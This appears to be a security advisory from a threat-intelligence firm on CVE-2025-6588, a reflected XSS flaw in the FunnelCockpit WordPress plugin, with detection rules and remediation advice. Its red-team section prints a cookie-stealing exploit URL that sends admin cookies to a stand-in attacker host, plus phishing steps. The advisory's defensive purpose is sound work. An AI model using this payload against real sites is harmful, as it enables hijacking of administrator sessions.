CVE-2025-6588

Executive Summary

CVE-2025-6588 is a reflected Cross-Site Scripting (XSS) vulnerability in the FunnelCockpit WordPress plugin, affecting all versions up to and including 1.4.3. The flaw resides in insufficient sanitization of the error parameter, allowing unauthenticated attackers to inject arbitrary web scripts. Successful exploitation requires tricking an administrative user into clicking a crafted link, leading to script execution in the context of the admin’s session. This can result in session hijacking, defacement, or credential theft. As a WordPress plugin vulnerability, it is part of the broader WordPress ecosystem and must be addressed within that context.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No known supply chain compromise has been reported, but the lack of a patch increases risk for sites using this plugin. Administrators should monitor for updates and consider removing the plugin if no patch is forthcoming.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (admin click)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is medium due to the requirement for user interaction, but the potential for admin-level impact elevates the risk for WordPress sites.

Deep Dive & Mechanics

The vulnerability exists in the FunnelCockpit plugin’s handling of the error parameter. When an admin user is tricked into clicking a malicious link, the plugin reflects the error parameter value without proper sanitization or output escaping. This allows an attacker to inject arbitrary HTML and JavaScript, which executes in the admin’s browser session.

Root Cause: The plugin fails to apply WordPress’s built-in escaping functions (e.g., esc_html(), esc_attr()) to the error parameter before outputting it in the response.

Attack Flow:

1. Attacker crafts a URL: https://target-site.com/wp-admin/admin.php?page=funnelcockpit&error=<script>alert('XSS')</script>
2. Attacker sends the link to an admin user via email, social engineering, etc.
3. Admin clicks the link while authenticated.
4. The plugin renders the error parameter without escaping, executing the injected script.
5. The script can steal cookies, perform actions on behalf of the admin, or deface the site.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.4.3):

// In funnelcockpit.php or similar
if (isset($_GET['error'])) {
    echo '<div class="error">' . $_GET['error'] . '</div>';
}

Patched Code (hypothetical):

if (isset($_GET['error'])) {
    echo '<div class="error">' . esc_html($_GET['error']) . '</div>';
}

The patch uses esc_html() to encode special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with FunnelCockpit plugin <= 1.4.3
• Admin user must be tricked into clicking a link

Exploit URL:

https://target-site.com/wp-admin/admin.php?page=funnelcockpit&error=<script>document.location='https://attacker.com/steal.php?c='+document.cookie</script>

Steps:

1. Host a listener on attacker server to capture cookies.
2. Craft the malicious link and send to admin via phishing email.
3. When admin clicks, the script executes and sends cookies to attacker server.

Note: No public exploit code is available for this CVE.

Blue Team (Detection & Defense)

Detection:

• Monitor web logs for requests to /wp-admin/admin.php with suspicious error parameter values containing <script> or onerror attributes.
• Use WAF rules to block reflected XSS patterns.

Defense:

• Apply input validation and output escaping if you are a developer.
• Remove or disable the FunnelCockpit plugin until a patch is available.
• Educate admin users about phishing risks.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /wp-admin/admin.php with error parameter containing <script>, onerror, onload, or other event handlers.
• File: No specific file IOCs; the vulnerability is in the plugin’s code.
• Behavior: Unexpected admin actions, new admin accounts, or site defacement.

Detection Engineering

YARA Rule

rule CVE_2025_6588_FunnelCockpit_XSS {
    meta:
        description = "Detects reflected XSS attempts against FunnelCockpit plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-6588"
    strings:
        $xss_pattern = /admin\.php\?page=funnelcockpit&error=.*(<script|<img|<svg|onerror|onload)/i
    condition:
        $xss_pattern
}

Sigma Rule

title: Reflected XSS via FunnelCockpit error Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts against FunnelCockpit plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'page=funnelcockpit'
        cs-uri-query|contains: 'error='
        cs-uri-query|re: '(?i)(<script|<img|<svg|onerror|onload)'
    condition: selection
falsepositives:
    - Legitimate error messages containing similar text
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-6588 FunnelCockpit Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=funnelcockpit"; http_uri; content:"error="; http_uri; pcre:"/(?i)(<script|<img|<svg|onerror|onload)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and remove FunnelCockpit until a patch is released.
2. Web Application Firewall (WAF): Deploy rules to block reflected XSS patterns in the error parameter.
3. User Education: Train admin users to avoid clicking suspicious links.

Long-term Fix:

• Apply output escaping (e.g., esc_html()) to all user-supplied parameters.
• Monitor the plugin’s repository for an official patch.

Workarounds:

• If the plugin is critical, consider forking and patching the code yourself.

Valters IT
DevSecOps & Cyber Threat Intelligence